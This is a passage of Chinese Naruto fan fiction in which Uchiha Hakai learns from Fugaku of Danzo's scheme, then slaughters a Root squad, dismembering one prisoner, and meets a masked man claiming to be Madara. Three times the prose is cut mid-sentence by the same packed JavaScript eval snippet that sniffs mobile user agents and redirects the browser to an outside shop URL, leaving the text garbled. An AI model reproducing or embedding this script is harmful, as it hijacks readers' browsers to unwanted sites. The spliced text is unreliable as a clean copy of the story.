“火影那边……”羽怀开口,“发生了什么?” 富岳看着他。 那双眼睛和鼬一样沉静,和所有宇智波族人一样乌黑。 “团藏。”富岳说。 羽怀的手指动了动,他一点也不意外。 富岳端起茶杯,抿了一口。茶水已经凉透了,但他像是没感觉到一样,就那么咽了下去。 羽怀盯着父亲的表情。 富岳仍旧是一副面无表情的样子。 羽怀继续盯着。 富岳又喝了一口。 羽怀终于忍不住问:“……好喝吗?” 富岳放下茶杯:“一般。” “那为什么喝?” “倒掉浪费。” 羽怀沉默了。他也端起一杯凉茶,喝了一口。 然后他也沉默了。 富岳问:“怎么样?” 羽怀:“……就是有点苦的水。” “没有品位。” 两人对视一眼,同时把茶杯放下。 气氛稍微放松了一些。这不是在进行宇智波高层会议,只是家人间的情报讨论。 “团藏在所有高层面前发难。”富岳放下茶杯,“说止水偷袭了他,并试图用别天神控制他。” 羽怀的呼吸停了一瞬。 “他说……”富岳顿了顿,“在所有高层中,只有他继承了二代火影的意志,一直提防着宇智波。所以止水才会选他作为目标。” 灯光落在矮桌上,将那些凉透的茶杯照得发亮。 羽怀没有说话,但脸上出现了一抹讥讽的神色。 他早就猜到了。团藏不可能只满足于夺走止水的一只眼睛。他是那种要么不做、要么做绝的人。既然敢对止水动手,就一定准备了后手。 诬陷止水,把自己包装成受害者。 这么做无疑是想逼宇智波一族造反,如果富岳和他一样在高层面前动手,那么谈判就彻底破裂了。 “然后呢?”羽怀问。 他相信富岳,这种程度的挑衅对他来说很有效,但对富岳这样的成年人而言还是没什么威力的。而团藏的招数肯定也不止这些。 富岳看着他。 “鼬。”富岳说,“团藏说,关键时刻,鼬出手保护了他。” 羽怀的瞳孔微微收缩。 “他说鼬是火之意志的继承者。”富岳的声音依然平静,但眼底有什么东西在翻涌,“在止水试图用别天神控制他的时候,鼬挡在了他面前。” 灯光落在矮桌上,将那些茶杯的影子压得很短。 羽怀的手指攥紧了膝盖上的布料。 他已经不需要富岳继续说下去了。 他已经能猜到,这样的消息传回族内,会是什么结果。 比起敌人,叛徒更让人难以接受。 而宇智波鼬,一直以来就太偏向木叶高层了。他不参加族会,不和族人往来,整天戴着暗部的面具在外面执行任务。族人们早就有微词,只是碍于他是族长的长子,没有说出来。 现在团藏把这样一个消息传出来…… 止水试图袭击木叶高层,而鼬保护了高层。 无论真假,都够了。 足够让那些本就不满的族人爆发。够让宇智波内部自己先打起来。 羽怀闭上眼睛。 激进派会第一个跳出来,说鼬是叛徒,说他背叛了宇智波。保守派会被裹挟着表态,说鼬做得不对,但也不至于。 然后争吵会变成对峙,对峙会变成冲突。 到最后,宇智波一族自己就会四分五裂。 而木叶高层,只需要坐在那里,看着他们内斗就够了。 等他们斗得差不多了,再出来收拾残局。 最重要的事,这件事对于木叶高层是有利的,其他高层大概会支持。 止水已经死了,死人不会说话,而鼬在族内的声望基本都是负的了,没有他和止水在族里沟通,鼬说的话可信度可能还不如佐助呢。 唯一可行的就是三代站出来,为宇智波鼬站台,同时将团藏处死 “其他两名顾问……”羽怀睁开眼睛,“支持团藏吗?” 富岳点了点头。 “转寝小春和水户门炎。”他说,“他们当场就表态支持团藏的说法。” 羽怀的嘴角动了动,没有笑出来。 他早就知道那两个顾问是什么样的人,他们并不针对宇智波,但对于高层有利的事情他们绝对会支持。 二代火影千手扉间的弟子,和团藏、三代火影一样,都是那个时代活下来的老人。但他们没有三代的魄力,也没有团藏的狠辣。在实力随着年龄衰退后,就显得他们有些中庸了。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332185|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过三代和自来也都很愤怒,他们显然也不信团藏的鬼话,不过……”富岳顿了顿,“这个时候,鸣人失踪的消息传了过来。” 羽怀的眉头动了动。 “九尾人柱力失踪。”富岳说,声音里带上了一丝复杂的意味,“这件事比宇智波的事更重要。他们的讨论就此中断,都去找鸣人了。” 灯光落在矮桌上,将那些凉透的茶杯照得发亮。 羽怀沉默了几秒。 他想起今天下午,在那片小树林里,那些孩子围着鸣人踢打的样子。想起那些躲在树上的根部忍者,想起那个被他打晕的家伙。 根部的忍者一直在监视鸣人。 鸣人失踪,他们怎么会不知道?怎么会现在才发现? “他们没请宇智波帮忙?”羽怀问。 富岳摇了摇头。 “没有。”他说,“而且……根部的忍者说,最后接触鸣人的人,恰好是你。” 羽怀的手指停住了。 月光落在他的手背上,照出那些细小的青筋。 他是最后接触鸣人的人。 今天下午,在那个小树林里,他把鸣人从那些孩子手里救出来。他拎着鸣人离开,把他放在路边,然后带着佐助走了。 他离开之后,鸣人去了哪里?他不知道。 他还在去火影办公室的路上找了一小会,但没有找到,他还以为鸣人自己回家去了。 但团藏不需要关心这些。 他只需要一个怀疑对象就行了。 而宇智波,正好是最合适的怀疑对象。 “团藏怎么说?”羽怀问。 “他什么都没说。”富岳的声音很平静。 羽怀明白。 团藏什么都不说,是因为他知道,有人会替他说。那些顾问,那些暗部,那些根部的人,会在合适的时机“不经意”地提起,是宇智波的人最后接触了九尾人柱力,然后九尾人柱力就失踪了。 再加上宇智波一族政变和刺杀高层的计划已经被鼬透露给了高层,九尾失踪就属于是黄泥巴掉□□,怎么都说不清楚了。 三代确实希望能让村子和宇智波和平共处,但绝不可能将整个村子的安危放在赌桌上。 羽怀闭上眼睛。 他能感觉到眼眶深处传来一阵阵刺痛。 他之前破除鼬的幻术时使用了自己的万花筒能力,一种能用瞳力抵消能量的能力。 否则鼬的月读他一时半会可能还真破不了。 但代价就是他的眼睛现在一直很不舒服。 他的另一只眼睛能力则是穿越空间,像是飞雷神之术一样。只不过发动时间更短,距离更近而已。 或者说是一种强化版的瞬身术更加贴切。 富岳开口了。 “团藏肯定会派人把消息传到族里。”富岳说,“到时候,我也压不住。” 羽怀睁开眼睛,看着他。 富岳坐在月光里,那张脸和平时一样沉稳,和平时一样看不出情绪。 “不过,我也不打算压住。”富岳说。 他的声音很轻,轻得像一片落叶,但每一个字都像刻在石头上一样清晰。 “宇智波一族有属于自己的骄傲,如果一定要走向某个结局,那也必须是由我们族人自己做出的选择。” 他顿了顿。 “而且,作为你们的父亲,也是宇智波一族的族长,我也需要做些什么。” 他的目光越过羽怀,落向楼上。那个方向是鼬的房间。 羽怀没有说话。 富岳收回目光,看着他。 “团藏的目的是什么,我也不在乎。”富岳的眼睛变了。 黑色的瞳孔变成了红色。三颗勾玉在眼眶里缓缓旋转,然后开始连接,融合,最后形成一个诡异的图案。 万花筒写轮眼。 “但是他必须要死。”富岳说。 灯光落在他的眼睛里,照出那个复杂的图案。那图案在瞳孔深处缓缓旋转,带着某种古老的、沉重的力量。 羽怀看着那双眼睛,没有说话。 “止水已经不在了,鼬和族人的关系不好,以后……”富岳说,“你多帮帮他。” 羽怀摇了摇头。 富岳的动作停住了。 他看着羽怀,那双万花筒写轮眼里闪过一丝意外。 “你……” 羽怀抬起眼睛。 他的眼睛也变了。 黑色的瞳孔变成红色。三颗勾玉在眼眶里浮现,然后开始连接,融合,最后形成一个图案。 刀刃组成的风车。 它在瞳孔深处缓缓旋转,在月光下闪着幽冷的光。 富岳的呼吸停了一瞬。 他看着那双眼睛,看着那柄由刀刃组成的风车图案,眼底翻涌着复杂的情绪。震惊、意外、还有一丝…… 欣慰。 强大的实力才是忍者的立身之本,依靠家人,族人,村子,都没有自己来得可靠。 有了这双眼睛,他也就不用太担心孩子们未来的路了。 “团藏必须死在我手上。”羽怀说。 他的声音很平静,平静得像在说今天天气不错。但那双万花筒写轮眼里的图案在缓缓旋转,带着某种冰冷的、不可动摇的决心。 灯光落在两人之间,照出那两双同样猩红的眼睛。 沉默持续了很久。 富岳开口:“……挺好看的。” 羽怀愣了一下:“……谢谢?” “能力是什么?”富岳问。 “能让别人的忍术失效。还能瞬移。” 富岳点了点头:“不错,很符合你的风格。” 对话结束,沉默继续回归。 富岳低下头,看着面前的茶杯,沉思良久,最后他的眉头重要缓缓地舒展开来。 “好。”他说。 就一个字。表示他同意了羽怀的计划。 富岳闭上眼睛,那双万花筒写轮眼消失了,变回普通的黑色。当他再次睁开眼睛时,眼底已经恢复了往常的平静。 “三代和自来也,我会想办法拖住。”他说,“你想做什么,便去做吧。” 羽怀点了点头。 他站起身,走向楼梯。 他的脚步声在走廊里回荡,很轻,很稳,一步一步,走向自己的房间。 月光从窗户照进来,落在他的背上,将他小小的影子投在墙上。 那影子走得很慢,却没有任何犹豫。 他没有回去休息的意思。他要做得所有事都已经做完了。 13.第 13 章 宇智波族地外,南贺川支流的河滩。 河水在黑暗中流淌,发出单调的哗哗声。 两名戴着动物面具的根部忍者蹲在一块岩石后。他们的视线越过河滩,落向远处宇智波族地的位置。那里零星亮着几盏灯火,安静得像一座沉睡的普通村落。 “太少了。”左边那个戴着猫脸面具的开口,声音压得很低,“十三个小队,加起来不到五十人。围宇智波族地?笑话。” 右边那个狗脸面具没有立刻接话。他从怀里掏出一个小本子,借着微弱的月光看了一眼,又塞回去。 “九尾人柱力丢了。”狗脸说,“根部大半的人手都撒出去找了。能抽出这些已经是极限。” “找?找个屁。”猫脸冷笑,“那孩子怎么丢的,你我心里没数?” 狗脸没有接茬。 沉默了几秒,猫脸又说:“就算人够了,有什么用?宇智波那些疯子真冲出来,我们这点人拦得住?” “不用拦。”狗脸的声音很平静,“只需要让他们动手。” 猫脸愣了一下,随即反应过来。 “你是说……” “命令很清楚。”狗脸打断他,“情报已经放进去了。宇智波止水被谁杀的,鼬在高层面前做了什么,够他们内部吵三天。我们要做的,就是在他们吵出结果之前,让他们先把火撒出来。” 他顿了顿,目光落向远处那片安静的灯火。 “只要有一个宇智波动手,我们就有了理由。” 猫脸沉默了。 他想起出发前领到的任务说明:包围宇智波族地,防止任何族人外出。如果遭遇攻击,允许全力反击。如果有族人试图强闯,格杀勿论。 格杀勿论。 这四个字在他脑子里转了一圈,又转了一圈。 “那边那个呢?”猫脸抬了抬下巴,指向河滩另一端的阴影处。 那里躺着一具尸体。 尸体穿着宇智波一族的深蓝色族服,胸口被苦无贯穿,血已经凝固成黑色。他的眼睛还睁着,三颗勾玉在月光下泛着死灰色的光。 “三勾玉。”狗脸说,语气平淡得像在说天气,“想回族地报信,撞上第三小队。” “一个人杀了我们六个?” “都是些下忍,当然,是没有忍者编号的那种。” 猫脸没再说话。 如果是正常从忍者学校毕业的忍者,在得到下忍身份和忍者护额的同时,也会得到一个忍者编号。 这个编号是从木叶建村开始就一直存在的,现在也已经到了一万多号。 但根部的许多忍者并不是这样的。 这些忍者是团藏的私人力量,名义上是用来执行间谍任务的,但实际上能够操作的空间很大。 猫脸继续看着那具尸体,看着那双睁着的、三勾玉的眼睛。那双眼睛里没有恐惧,只有一种凝固的愤怒,像是在死之前看见了什么让他无法接受的东西。 猫脸看着尸体,突然低声说:“我认识他。三年前,他帮我挡过一刀。” “没有团藏大人,你活不到三年前。” 狗脸顺着他的视线看过去,又沉默了几秒,然后继续开口: “别看了。其他小队的消息传递延迟了,如果情况不对我们就直接杀进去。” “……” 猫脸愣了一下。 他盯着狗脸,盯着那张没有任何表情的面具。月光从云层缝隙漏下来,在那张面具上切出一道明暗分界。 直接杀进去。 他听懂了。 只凭他们两个小队,杀进宇智波族地,跟送死没区别。 但他们不是去杀人的。他们是去死的。 如果宇智波的族人真的能忍住,如果那个“让他们动手”的阴谋没有奏效,他们就会直接死在宇智波族地里。 用他们的命,换来村子和宇智波开战的理由。 猫脸的嘴角动了动。 他想笑。但笑不出来。 这种可笑的死法,这就是忍者吗? 但最后,他只是点了点头。 “……知道了。” 他把身体缩回岩石后,低下头,开始检查装备。苦无、千本、起爆符、兵粮丸。每一个动作都很慢,很认真,毕竟这可能是他最后一次做这些事情。 狗脸也缩了回来。他靠在岩石上,闭上眼睛,像是在休息。 两人都没再说话。 几秒后。 猫脸的手指停住了。 他的身体僵了一瞬。 狗脸察觉到他的异常,顺着他的视线看过去。 月光下,有一个人正从河滩的另一端走来。 那个人走得很慢,一步一步,踩着河滩上的碎石,发出细微的咔嚓声。他的身影在灰白的月光下被拉得很长,像一道从黑暗中切割出来的裂缝。 猫脸的第一反应是摸向腰间的苦无。 这个时间出现在这里的大概就是宇智波一族的人,而现在出现在这里的宇智波族人都得死。 苦无入手,这让猫脸的心神安定了些许。 他们这些队长都有上忍的实力,就算对方是拥有三勾玉写轮眼的宇智波族人实力也只是与上忍相当。 他们有足足两个小队,足够将其击杀了。 而看对面的身高,是三勾玉写轮眼拥有者的可能性几乎为零。 单论身高而言,对方大概率还没从忍校毕业呢。 不过很快,猫脸的神色便变得凝重起来。 “不对……全体警戒。” 身为根部队长,他们也是经验丰富的忍者。 若是正常的小孩在族地附近闲逛,绝对不可能准确的找到他们的藏身地点,并且以几乎走直线的方式朝着他们靠近。 他们被发现了。 随着对方的靠近,猫脸看得也更清楚了。 小孩的手里提着一样东西。 是一把刀。 刀身很长,但这只是与小孩的身材相比的结果,实际上这就是他们根部的制式刀具。而此时,这把刀的刀刃上正滴落着暗红色的液体。 那些液体落在河滩的碎石上,发出轻微的啪嗒声,在寂静的夜里格外清晰。 一滴。 又一滴。 猫脸的目光顺着刀身往上移。 那双手很小却很稳。 握着刀柄的手指没有丝毫颤抖,指节泛着青白色,那是长时间握刀之后才会有的颜色。 再往上。 那件衣服原本应该是灰色的,或者是深蓝色的,但现在已经看不清原本的颜色了。血污从领口一直蔓延到下摆,一层叠着一层,有些已经干涸成深褐色,有些还在月光下泛着湿润的光。 全是血。 但没有一处是伤口。 猫脸能看出来。小孩的走路的姿势太稳了,稳得像是要参加什么梯台演出一样,而不是刚经历了一场厮杀。 那些血不是他的。 最后,猫脸的目光落在那个人脸上。 他的瞳孔猛地收缩。 这张脸他见过,在任务简报上,在情报档案里。 宇智波羽怀。 宇智波镜的后代,宇智波止水的弟弟,宇智波族长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343655|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养子。十岁。刚从外面执行任务回来。 大概一年前,他所属的小队遭遇了云隐村的部队,最后只有他逃了出来,被自来也救下了。 情报上说他刀法很好,但没说具体有多好。 据说是一个和宇智波鼬一样的天才,但天才终归只是天才,并不是强者。 但很显然,现在的宇智波羽怀并不能用天才来形容。 他有一个不好的猜测,那些没能和他们定时联络的小队…… 要知道,小队中只要有一个人逃出来,情报就能传出去,甚至不用逃出来,只要有机会施展忍术就足够了。 但是,他们没有收到任何消息。 猫脸只觉得浑身汗毛倒竖。 随着对方的靠近,对方身上的细节也愈发丰富。 他那张脸上也有血。不是干涸的,是新鲜的,还在顺着下颌的弧度往下淌。但在那张脸上,那些血看起来不像污渍,更像是一种装饰。 他头上戴着木叶的忍者护额。 但护额的中央,有一道清晰的划痕。 横向的,笔直的,从左边贯穿到右边,将木叶的图案一分为二。 猫脸的呼吸停了一瞬。 叛忍。 这个词从他脑子里浮起来的时候,宇智波羽怀却猛地消失不见。 他卡在忍具最适合攻击的距离前,消失了。 而再次出现时,他已经接近到了一个夸张的距离,近得猫脸甚至都能看清他眼睛里的东西。 那双眼睛很黑,黑得看不见底。里面没有愤怒,没有悲伤,没有任何一个刚杀了人的人该有的情绪。只有一种空荡荡的平静,平静得像一潭死水。 宇智波羽怀没有看他们。 他的视线越过面前的猫脸仿佛没看到他一样,三颗勾玉在他的眼中浮现,随后快速的锁定了几个方向。 他停下脚步,空着的那只手摆出了几个奇特的手势。 这并不是在结印,而是在……数数? 猫脸突然意识到这一点。 他在数还有多少人。 “动手!” 狗脸的声音从旁边炸开,同时三枚苦无已经射了出去。 但宇智波羽怀再一次地消失了。 苦无穿过他刚才站立的位置,钉在河滩的碎石上,发出叮叮当当的脆响。 下一刻,刀光亮起。 不是一道,是十几道。 那些刀光在黑暗中绽放,像一朵突然盛开的金属花朵。每一道刀光都精准地落在一个根部忍者的脖子上,手腕上,或者膝盖窝里。 没有惨叫。 只有沉闷的倒地声,和鲜血喷溅的嘶嘶声。 猫脸没有动。 不是他不想动,是他的身体动不了。对方的气息一直锁定着他们两名上忍,他的直觉告诉他,只要动一下,就会死。 他的双腿像是被钉在地上,他的手指像是被冻在苦无柄上。他只是站在那里,看着那些刀光在眼前绽放,看着身边的同伴一个一个倒下。 十秒。 也许更短。 等猫脸回过神来的时候,他身边只剩下狗脸一个人还站着。 其他六个人都倒在地上。有的还在抽搐,有的已经不动了。鲜血在碎石间蔓延,汇成一条条细小的红色溪流,流进南贺川里,被水流冲散。 怎么会,这么强…… 猫脸吞了口唾沫,哪怕是别的国家的那些成名已久的忍者威势也不过如此了。 如此一来,团藏大人的目的也算是达到了。就是不知道团藏大人他接不接的住这自己点燃的火药桶了。 14.第 14 章 宇智波羽怀站在两名根部忍者面前,脚下是横七竖八的尸体。血还在流,顺着石头的缝隙渗进河滩,被夜风吹出细微的腥气。 猫脸和狗脸还站着。 不是他们不想跑,是跑不了。从宇智波羽怀出现的那一刻起,那股气息就锁定了他们,像一根无形的绳子勒在脖子上,动一下就会死。 羽怀的目光在两人脸上扫过。 “团藏在哪?” 他的声音很平静,平静得像在问路。脸上的血已经半干了,在月光下泛着暗红色的光。木叶护额上的划痕横贯中央,将图案切成两半。 狗脸没有说话。 他站在那里,面具下的眼睛直直地盯着羽怀。那目光里没有恐惧,没有求饶,取而代之的是一种平静。 身为忍者,死亡本就是一件十分正常的事。 “不说?”羽怀问。 狗脸的喉结动了动。他的嘴唇张开。 “杀了我吧。” 他的声音嘶哑,却很稳。 羽怀的眼睛眯了一下。 “你知道团藏的位置。” 不是问句。 狗脸没有否认。他只是站在那里,看着羽怀,看着那双在黑夜里依然明亮的眼睛。 他知道自己不是对方的对手,但也并不准备用情报换取一线生机。 事实上,他根本就没有产生过这种愚蠢的想法。 当他们从敌人口中拷问出情报后可从来不会在将对方活着放回去。 另外,团藏也对所有的根部成员都留下了后手。 舌祸根绝之印。 一旦提及和根部相关的重要情报,他们就会浑身麻痹无法动弹。 所有他没有尝试开口说出那个名字。他只是说: “杀了我。” 当然话是这么说的,但他并没有束手就擒的打算。一旦让他发现破绽,他不介意给对面这小鬼来上一刀。 羽怀看着他,眼底没有丝毫的情感。 三秒后。 “好。” 刀光亮起。 狗脸的身体僵了一下。然后他的四肢同时离开了身体,右手、左手、右腿、左腿,从躯干上分离,落在河滩的碎石上,发出沉闷的声响。 血从四个断口喷出来。 狗脸的身体失去支撑,重重地摔在地上。他的眼睛依然睁着,看着夜空,嘴唇依然紧抿。没有惨叫,没有求饶。只有粗重的喘息,和身体在碎石上轻微的痉挛。 几秒后,他不动了。 猫脸站在那里,看着这一切。 他的身体僵硬得像一块石头。他看见同伴的眼睛还睁着,瞪着夜空,嘴唇抿成一条线。那些断肢散落在四周,在月光下显得格外刺眼。 他听见自己的心跳。沉闷有力,像是在打鼓一样。 然后他听见了那个从客观上来讲还有些稚嫩的声音。 “轮到你了。” 猫脸转过头。 宇智波羽怀站在那里,刀尖抵在地上,血沿着刀刃往下流,一滴一滴落在碎石上。他的脸上没有任何表情。 他的眼睛是黑的,黑得看不见底。 羽怀侧头看了眼一旁死不瞑目的族人尸体,随即继续将目光锁定在面前的猫脸根部忍者身上。 那双眼睛变成了红色。万花筒的图案在瞳孔深处浮现,缓缓旋转。 猫脸感觉自己的嘴里有什么东西消失了。不是舌头,不是牙齿。是一种他从来没有注意过的存在感,像是有一根细小的线一直连在喉咙深处,此刻突然断了。 舌祸根绝之印。 似乎是解了。 “团藏的位置。”羽怀说,“告诉我,我给你一个痛快。” 并没有说放了你之类的蠢话,他不会放过任何一个人。而猫脸也知道这一点。 猫脸的嘴唇动了动。 “我不知道。”他说。 羽怀看着他。 那双眼睛里的图案还在缓缓旋转,像一台正在运行的机器。 三秒。 五秒。 “你没撒谎。”羽怀说。 猫脸的呼吸停了一瞬。 不是如释重负。是一种更奇怪的感受,他知道自己的命就到这里了,但至少,至少不用像狗脸那样…… “他在每个上忍身上都下了舌祸。”羽怀的声音很平静,“却从不告诉你们他在哪。你们只是消耗品。你们大多数连忍者编号都没有,结局早就注定。” 猫脸没有说话。 他能说什么呢?这是事实。他们从进入根部的那一天就知道的事实。 但如果不是团藏大人,他可能早就死在忍界大战中的某场不知名的战斗中了。 或者更早,在他还不到十岁的时候死在这个世界的某个角落。 羽怀的刀举了起来。 月光落在刀刃上,反射出刺眼的白光。 猫脸闭上眼睛。 “有遗言吗?” 羽怀问。 “我其实想……做一名厨师……有些莫名其妙对吧,但至少不会饿死。” “很好的梦想,比当火影好。” 刀光亮起。 猫脸的身体倒在河滩上,和其他人躺在一起。血从脖颈的伤口涌出来,渗进碎石之间,汇入那些已经凝固的暗红色之中。 羽怀收刀入鞘。 夜风从河面上吹来,带着浓重的血腥气。他站在原地,任由风吹过脸颊,吹干脸上刚被溅到的半凝固的血渍。 五十三个。 他数过。总共十三个小队,每个小队四到五人。他全部杀了。 他当然是故意这么做的。在护额上划的那道痕迹也不是赌气划的。 对付团藏这种阴谋家,在自身没有任何势力的情况下,最好的办法就是以力破法。 和团藏玩权谋那是三代他们才能做的事情,宇智波一族就算压上所有,在这个赛道上也玩不过团藏。 如果等他再张大一些,从三代和自来也那里拿到一些属于自己的势力后,也许能和团藏慢慢玩玩,实在不行还能等团藏自己老死。 但现在的情况显然不允许。 团藏肯定也知道三代的打算,所有他不打算等了。 恰好,他也没有耐心了。 团藏想用根部忍者激化矛盾,可以,那他就杀光他们,然后自己叛出木叶。矛盾激化了,但同时也转移到了他一个人身上。 所以他要做的事情其实非常简单。 就是找到团藏,然后杀了他。 视线扫过地上的尸体,羽怀用袖口擦了一下刀上的血迹。 每一个上忍他都问过同样的问题。大部分像狗脸那样,宁可死也不说。少部分像猫脸这样,回答了“不知道”。 都不是撒谎。 所以说,从根部获取情报这种方式本来就不靠谱,团藏对自己的性命还相当爱惜的,自然也不会犯这种低级错误。 然而,他也没有真的抱什么希望。团藏那种人,不可能把自己的位置告诉这些随时可能被抓住的下属。从一开始他就知道,从这些人嘴里问出团藏下落的可能性几乎为零。 他真正指望的,从来不是他们。 羽怀抬起眼睛。 他的视线越过河滩,越过那些尸体,落向不远处的树林。那里有一片阴影,月光照不进去,黑得什么都看不见。 他需要团藏的情报,但他不想找大蛇丸。 大蛇丸是主动来找他的,想都不用想肯定在后续埋了不少的坑。 而且,他也能猜到大蛇丸想要的东西是什么。 他身上能让大蛇丸感兴趣的并且与这份情报价值相等的物件恐怕只有自己眼中的那只万花筒写轮眼了。 不到万不得已,他不会去找大蛇丸合作,这个代价实在太大。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352433|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 当然,话也不能说死。利用一切可以利用的,才是一名优秀忍者该具备的素质。 目前他已经背叛木叶,所以也不可能从暗部那获取情报。 其他忍村的情报网和地下换金所也不可能有团藏的下落。 所以他剩下的选择其实并不多。 “出来。” 水流冲刷着石头,发出细微的声响。夜晚仍旧是一片寂静。 羽怀的声音很平静。他能肯定,对方一定就在这附近。 然而,没有人回应。 羽怀等了两秒。 “你从一开始就在。”他说,“看了全程。现在该出来了。” 依然没有回应。 羽怀的右手按上刀柄。 他的眼睛变成了红色。万花筒的图案浮现,在瞳孔深处缓缓旋转。左眼传来轻微的刺痛,那是瞳力消耗过度的信号。但他没有收起来。 瞳力和查克拉交融,攀附在长刀之上,形成黑紫相间的复杂纹路。 羽怀深吸一口气,闭上眼睛,随即将气缓缓吐出。 这是他对自己瞳力的一次开发,他不清楚这么做的效果如何。 刀刃出鞘。 没有刀光,没有破空声。只是刀锋划过的地方,空气突然裂开一道黑色的缝隙。那缝隙扭曲、扩大,像一张被撕开的纸,露出里面虚无的黑暗。 一道紫色的月牙形刀芒瞬间斩入缝隙,但就像石子丢入大海一样瞬间被吞没了。 然而下一刻。 “哎呀呀——” 一个声音从阴影里传出来,带着某种轻浮的调子。 一道白色的身影从黑暗中窜出,动作快得像受惊的兔子。那是一个人,或者说长得像人的东西。全身惨白,没有头发,脸上的表情夸张得不像人类。 白绝。 “被发现了被发现了——”白绝的声音尖锐而夸张,“好险好险,差点就被砍到了——” 它落在一棵树的枝头,蹲在那里,居高临下地看着羽怀。月光照在它惨白的皮肤上,泛出病态的光泽。 羽怀没有说话。 他只是看着那个白绝,刀尖指向它的方向。这东西的查克拉气息很奇怪,和正常人完全不一样,像是某种人造物。他以前执行任务时从没见过这种东西。 然后他的目光微微移动。 因为从那个裂缝里,又走出一个人。 那是一个戴着虎皮面具的男人。面具只露出右眼,那只眼睛是猩红色的,三颗勾玉在里面缓缓旋转。他穿着一件黑色的外衣,衣服什么花纹都没有,像是从家里穿出来的睡衣。 他站在月光下,站在那里,身材挺拔,身后的头发很长,能垂到腰部,并且有些炸毛。 羽怀的手指收紧了刀柄。 他能感觉到对方身上的气息,这和那些根部的上忍并不是一个级别的。 羽怀没有动。只是看着那个人,看着那只露出的右眼,看着那只眼睛里的三勾玉写轮眼。 但他有一种直觉,对方的这双眼睛应该和他是同一个层次的。 他可从来不知道族里什么时候又多了一双万花筒。 联想起九尾之乱的相关情报,宇智波羽怀的脸色变得更加难看了。 白绝的声音还在耳边聒噪,但他已经听不见了。 他只能听见自己的呼吸,还有那个人的声音。 那个人的嘴唇动了动。 声音从面具下传来,低沉而沙哑,带着一种古老的、仿佛来自另一个时代的气息。那声音不大,却清晰地穿过夜风,钻进羽怀的耳朵里。 “小鬼。” “那双眼睛,刚开眼就能用到这个程度。有点意思。” 他顿了顿。 那只猩红的右眼微微眯起。月光落在面具上,照出虎皮纹路的每一道黑影。 “初次见面,我的后辈,我是宇智波斑。” 15.第 15 章 月光照在河滩上,照出横七竖八的尸体,照出碎石间凝固的暗红色血迹。 宇智波羽怀站在尸骸中央,刀尖抵地,血沿着刀刃往下流,一滴一滴渗进石头缝里。 他的视线越过面前那个戴虎皮面具的男人,在那只猩红的右眼上停了一瞬,然后移向蹲在树上的白绝。 “团藏的位置。”羽怀开口,声音很平静,“你们有他的情报。” 他对这个自称宇智波斑的家伙并没有什么兴趣,他故意无视了对方。 白绝蹲在枝头,歪着脑袋看他。那张惨白的脸上扯出一个夸张的笑容。 “哎呀,小弟弟真直接。”白绝的声音尖锐而轻浮,“不过嘛——在宇智波的事情上,团藏大人现在可是我们的合作伙伴哦。” 羽怀的眼睛眯了一下。 “虽然我们也不是什么好人。”白绝继续说,摊开那双惨白的手,“但合作要讲诚信的嘛。名声坏了,以后谁还敢跟我们做生意?” 此时的晓组织名声不算大,他也只是在任务中偶然发现了对方的情报。 而对于一个忍者组织,无论是他们木叶还是别的忍村,名声确实是很重要的。 毕竟谁也不希望自己花钱还把命给搭上。 所以对方说要讲诚信,这话其实还是合理的。 但这并不意味着这话中的其他部分也是可信的。 羽怀没有接话。 他只是看着那个白绝,看着那张扭曲的笑脸。月光照在那张脸上,照不出任何真实的表情。 然后他也笑了。 笑容中没什么笑意,只是嘴角微微弯了一下。 “团藏和你们合作?” 他的声音里带着一丝嘲弄。 “那你们帮他杀了几个宇智波?” 白绝的笑容僵了一瞬。 它没想到这个小孩会问出这句话。 因为它们确实杀过。只不过不是因为团藏,而是因为写轮眼。 “小弟弟。”白绝的声音还是那副轻浮的调子,但语速明显慢了一点,“你在说什么呀,我们可没有给团藏当刀使的爱好,我们只是合作而已。” “我问你。”羽怀打断它,声音依然很平,“杀了几个。” 沉默。 白绝的笑容还挂在脸上,但已经不会动了。 杀意将他锁定,仿佛被野兽盯上的感觉让白绝本能的产生了一些恐惧,他已经好久没有这种体验了。 羽怀收回目光,不再看它。他已经得到了想要的信息,这就够了。 看来在解决掉团藏后,还得增加一个任务目标。 团藏归根到底也是木叶的政客。而且并不愚蠢。 而政客这种生物,无论手段如何,都不能违背一个最基本的底线。 那就是,不能背叛村子。 这是原则,也是生存法则。任何一个政客,一旦越过这条线,就会失去所有立足之地。 鼬现在和族人的关系那么紧张,是因为什么? 因为有不少族人认为,鼬在族人和村子之间选择了背叛。 激进派骂他是叛徒,保守派说他胳膊肘往外拐。无论哪一派,骂他的前提都是同一个,他是宇智波的人,他的立场应该在宇智波这边。 出发点必须是族人,是为了族人的利益考虑。 而不是为了村子的利益。 哪怕是止水,也只是希望村子和族人能和平共处,而不是“宇智波应该为村子牺牲”。 